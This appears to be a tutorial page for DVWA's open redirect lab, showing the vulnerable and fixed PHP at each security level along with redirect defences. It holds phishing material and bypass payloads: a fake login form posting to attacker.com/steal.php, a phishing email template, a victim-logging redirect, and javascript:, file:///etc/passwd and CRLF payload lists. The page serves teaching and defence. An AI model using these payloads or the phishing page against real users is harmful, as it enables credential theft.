Documentation Index
Fetch the complete documentation index at: https://mintlify.com/digininja/DVWA/llms.txt
Use this file to discover all available pages before exploring further.
Overview
As defined by OWASP:
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
Open redirects are commonly used to:
- Phishing attacks: Legitimate-looking URL redirects to attacker site
- Credential theft: Clone of login page steals passwords
- Malware distribution: Redirect to exploit kit or malicious download
- OAuth/SSO bypass: Manipulate authentication flows
- SEO poisoning: Redirect search engine crawlers
- SSRF attacks: Chain with other vulnerabilities
Objective
Abuse the redirect functionality to move users off the DVWA site or to different pages than expected.
Vulnerability Analysis by Security Level
Low Security
Vulnerability: No validation on redirect parameter whatsoever
Source Code (/vulnerabilities/open_redirect/source/low.php:1-13):
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
header ("location: " . $_GET['redirect']);
exit;
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
```text
**Weaknesses**:
- No URL validation
- No whitelist of allowed domains
- No origin/referrer checking
- Accepts any URL in `redirect` parameter
**Attack Methodology**:
**1. Basic external redirect**:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=https://evil.com
**2. Phishing attack example**:
Attacker creates fake login page at `https://attacker.com/dvwa-login.html`:
```html
<!DOCTYPE html>
<html>
<head>
<title>DVWA - Login</title>
<style>
/* Mimic DVWA styling */
body { font-family: Arial; background: #f0f0f0; }
.login { width: 300px; margin: 100px auto; padding: 20px; background: white; }
</style>
</head>
<body>
<div class="login">
<h2>Session Expired</h2>
<p>Please log in again:</p>
<form action="https://attacker.com/steal.php" method="POST">
<input type="text" name="username" placeholder="Username" /><br/>
<input type="password" name="password" placeholder="Password" /><br/>
<input type="submit" value="Login" />
</form>
</div>
</body>
</html>
3. Phishing email:
Dear User,
Your account requires verification. Please click below:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=https://attacker.com/dvwa-login.html
DVWA Security Team
Victim sees legitimate dvwa.local domain and trusts the link.
4. Data exfiltration:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=https://attacker.com/log?ref=
Attacker logs all victims who click the link.
5. JavaScript injection redirect:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=javascript:alert(document.cookie)
Medium Security
Mitigation Attempt: Block absolute URLs with protocol
Source Code (/vulnerabilities/open_redirect/source/medium.php:1-21):
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
http_response_code (500);
?>
<p>Absolute URLs not allowed.</p>
<?php
exit;
} else {
header ("location: " . $_GET['redirect']);
exit;
}
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
```text
**Protection**: Blocks URLs containing `http://` or `https://`
**Weaknesses**:
- Only checks for `http://` and `https://` literals
- Doesn't understand protocol-relative URLs
- Case-sensitive regex (though uses `/i` flag)
**Bypass Method 1: Protocol-Relative URL**
Protocol-relative URLs inherit the protocol (http/https) from the current page:
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=//evil.com
This redirects to `http://evil.com` (or `https://evil.com` if DVWA uses HTTPS).
**Bypass Method 2: Relative Path to External Domain**
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=//attacker.com/phishing.html
**How it works**:
- Browser interprets `//attacker.com` as protocol-relative
- Since current page is `http://dvwa.local`, becomes `http://attacker.com`
- No `http://` or `https://` in the parameter, so regex doesn't match
**Bypass Method 3: Alternative Protocols**
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=ftp://attacker.com
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=file:///etc/passwd
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=javascript:alert(1)
**Practical phishing example**:
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=//phishing.attacker.com/dvwa-verify.html
### High Security
**Mitigation Attempt**: Whitelist approach - only allow redirects containing "info.php"
**Source Code** (`/vulnerabilities/open_redirect/source/high.php:1-21`):
```php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (strpos($_GET['redirect'], "info.php") !== false) {
header ("location: " . $_GET['redirect']);
exit;
} else {
http_response_code (500);
?>
<p>You can only redirect to the info page.</p>
<?php
exit;
}
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
Protection: Only allows redirects if URL contains “info.php”
Weakness: Uses strpos() which checks if string appears anywhere in the URL
Bypass Method 1: Query String Injection
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://evil.com?info.php
Breakdown:
strpos($_GET['redirect'], "info.php") looks for “info.php” anywhere
https://evil.com?info.php contains “info.php” (as query parameter)
- Validation passes
- Browser redirects to
https://evil.com?info.php
Bypass Method 2: Fragment Injection
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://attacker.com#info.php
Bypass Method 3: Path Injection
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://evil.com/info.php/../../phishing.html
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://evil.com/fake/info.php.html
Bypass Method 4: Subdomain
If attacker controls DNS:
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://info.php.attacker.com
Real-world phishing example:
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://phishing-site.com/steal-credentials.php?legitimate=info.php
Victim sees:
- Legitimate domain:
dvwa.local
- Expected filename:
info.php
- Trusts and clicks
Impossible Security
Proper Defense Implementation
Source Code (/vulnerabilities/open_redirect/source/impossible.php:1-29):
$target = "";
if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
switch (intval ($_GET['redirect'])) {
case 1:
$target = "info.php?id=1";
break;
case 2:
$target = "info.php?id=2";
break;
case 99:
$target = "https://digi.ninja";
break;
}
if ($target != "") {
header ("location: " . $target);
exit;
} else {
?>
Unknown redirect target.
<?php
exit;
}
}
?>
Missing redirect target.
```text
**Defense Mechanisms**:
1. **Indirect Reference**: Uses numeric IDs instead of URLs
2. **Whitelist Mapping**: ID mapped to specific URL server-side
3. **Type Validation**: Only accepts numeric input via `is_numeric()`
4. **Explicit Casting**: Uses `intval()` to ensure integer
5. **Known Destinations**: Only pre-defined URLs can be reached
**Why It's Secure**:
- User cannot control the destination URL
- All valid destinations are hardcoded server-side
- No way to inject arbitrary URLs
- Type checking prevents injection attacks
**Usage Example**:
http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=1
→ Redirects to info.php?id=1
http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=2
→ Redirects to info.php?id=2
http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=99
→ Redirects to https://digi.ninja
http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=https://evil.com
→ “Missing redirect target” (is_numeric fails)
## Defense Recommendations
### 1. Indirect Reference Maps (Best Approach)
```php
// Define allowed redirects
$allowedRedirects = [
'home' => '/index.php',
'profile' => '/user/profile.php',
'logout' => '/auth/logout.php',
'docs' => 'https://docs.example.com'
];
if (isset($_GET['redirect']) && array_key_exists($_GET['redirect'], $allowedRedirects)) {
header('Location: ' . $allowedRedirects[$_GET['redirect']]);
exit;
} else {
header('Location: /index.php');
exit;
}
2. Domain Whitelist
function isAllowedDomain($url) {
$allowedDomains = [
'example.com',
'subdomain.example.com',
'partner.com'
];
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['host'])) {
return false;
}
return in_array($parsed['host'], $allowedDomains, true);
}
if (isset($_GET['redirect'])) {
if (isAllowedDomain($_GET['redirect'])) {
header('Location: ' . $_GET['redirect']);
exit;
}
}
header('Location: /index.php');
exit;
```bash
### 3. Relative URL Validation
```php
function isRelativeUrl($url) {
// Must start with / but not //
if (preg_match('#^/(?!/)#', $url)) {
return true;
}
return false;
}
if (isset($_GET['redirect'])) {
if (isRelativeUrl($_GET['redirect'])) {
// Additional validation: no protocol-relative tricks
if (strpos($_GET['redirect'], '//') === false) {
header('Location: ' . $_GET['redirect']);
exit;
}
}
}
header('Location: /index.php');
exit;
4. Comprehensive Validation Function
function validateRedirect($url, $allowedDomains = []) {
// Default to current domain if no allowed domains specified
if (empty($allowedDomains)) {
$allowedDomains = [$_SERVER['HTTP_HOST']];
}
// Parse URL
$parsed = parse_url($url);
// If parsing fails, reject
if ($parsed === false) {
return false;
}
// If no host (relative URL), validate it's not protocol-relative
if (!isset($parsed['host'])) {
// Must start with / but not //
if (preg_match('#^/(?!/)#', $url)) {
return true;
}
return false;
}
// If host is set, must be in whitelist
if (!in_array($parsed['host'], $allowedDomains, true)) {
return false;
}
// Must use http or https
if (isset($parsed['scheme']) && !in_array($parsed['scheme'], ['http', 'https'], true)) {
return false;
}
return true;
}
// Usage
if (isset($_GET['redirect'])) {
$allowedDomains = ['example.com', 'trusted-partner.com'];
if (validateRedirect($_GET['redirect'], $allowedDomains)) {
header('Location: ' . $_GET['redirect']);
exit;
}
}
header('Location: /index.php');
exit;
```bash
### 5. Warning Page Approach
```php
if (isset($_GET['url']) && isset($_GET['confirm'])) {
// User confirmed external redirect
if (filter_var($_GET['url'], FILTER_VALIDATE_URL)) {
header('Location: ' . $_GET['url']);
exit;
}
} elseif (isset($_GET['url'])) {
// Show warning page
$targetUrl = htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8');
$targetDomain = parse_url($_GET['url'], PHP_URL_HOST);
?>
<!DOCTYPE html>
<html>
<body>
<h2>You are leaving our site</h2>
<p>You are being redirected to: <strong><?php echo $targetDomain; ?></strong></p>
<p>Do you want to continue?</p>
<a href="<?php echo $targetUrl; ?>&confirm=1">Yes, continue</a> |
<a href="/index.php">No, go back</a>
</body>
</html>
<?php
exit;
}
Common Bypass Techniques
Protocol-Relative URLs
//evil.com
//evil.com/path
///evil.com
Alternative Protocols
javascript:alert(1)
data:text/html,<script>alert(1)</script>
vbscript:msgbox(1)
file:///etc/passwd
URL Encoding
https%3A%2F%2Fevil.com
%68%74%74%70%73%3A%2F%2Fevil.com
Backslash Tricks (Windows/IE)
https:\\evil.com
http:/\/evil.com
CRLF Injection
%0d%0aLocation:%20https://evil.com
Unicode/Homograph
https://exаmple.com (Cyrillic 'а' instead of Latin 'a')
Subdomain Confusion
https://evil.com.example.com
https://example.com.evil.com
Real-World Attack Scenarios
OAuth Token Theft
# Attacker manipulates OAuth redirect_uri
https://oauth-provider.com/authorize?
client_id=123&
redirect_uri=https://victim-app.com/redirect?url=https://attacker.com&
response_type=token
# Victim app redirects to attacker with access token in URL
SSO Session Hijacking
# SAML response contains redirect parameter
<samlp:Response>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion>
<Subject>
<NameID>user@example.com</NameID>
</Subject>
</Assertion>
</samlp:Response>
# Vulnerable app:
https://app.com/sso/callback?RelayState=https://attacker.com
Search Engine Manipulation
# Attacker creates links that Google indexes:
https://trusted-site.com/redirect?url=https://spam-site.com/viagra
# Google sees trusted-site.com domain, indexes spam-site.com content
Testing for Open Redirects
Manual Testing Checklist
-
Identify redirect parameters:
?url=, ?redirect=, ?next=, ?return=, ?continue=
?redir=, ?destination=, ?target=, ?returnUrl=
-
Test with external URL:
?redirect=https://google.com
- Test protocol-relative:
- Test alternative protocols:
?redirect=javascript:alert(1)
- Test whitelist bypass:
?redirect=https://evil.com?legitimate.com
?redirect=https://evil.com#legitimate.com
?redirect=https://legitimate.com.evil.com
Automated Testing
import requests
payloads = [
'https://evil.com',
'//evil.com',
'///evil.com',
'javascript:alert(1)',
'https://evil.com?victim.com',
'https://evil.com#victim.com',
'https://victim.com.evil.com',
'/\\evil.com',
'%0d%0aLocation: https://evil.com'
]
url = 'http://target.com/redirect'
for payload in payloads:
r = requests.get(url, params={'url': payload}, allow_redirects=False)
if r.status_code in [301, 302, 303, 307, 308]:
location = r.headers.get('Location', '')
if 'evil.com' in location:
print(f'[VULNERABLE] Payload: {payload}')
print(f' Redirects to: {location}')
```bash
## Key Takeaways
1. **Never trust user input for redirects**: URLs can be manipulated in many ways
2. **Use indirect references**: Map IDs to URLs server-side
3. **Whitelist domains**: If URLs needed, maintain strict whitelist
4. **Validate thoroughly**: Check protocol, domain, and path components
5. **Beware protocol-relative URLs**: `//evil.com` is valid but dangerous
6. **Consider warning pages**: Show interstitial for external redirects
7. **Test edge cases**: Encoding, Unicode, backslashes, CRLF
## References
- [OWASP Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)
- [CWE-601: URL Redirection to Untrusted Site](https://cwe.mitre.org/data/definitions/601.html)
- [WSTG - Testing for Client-side URL Redirect](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect)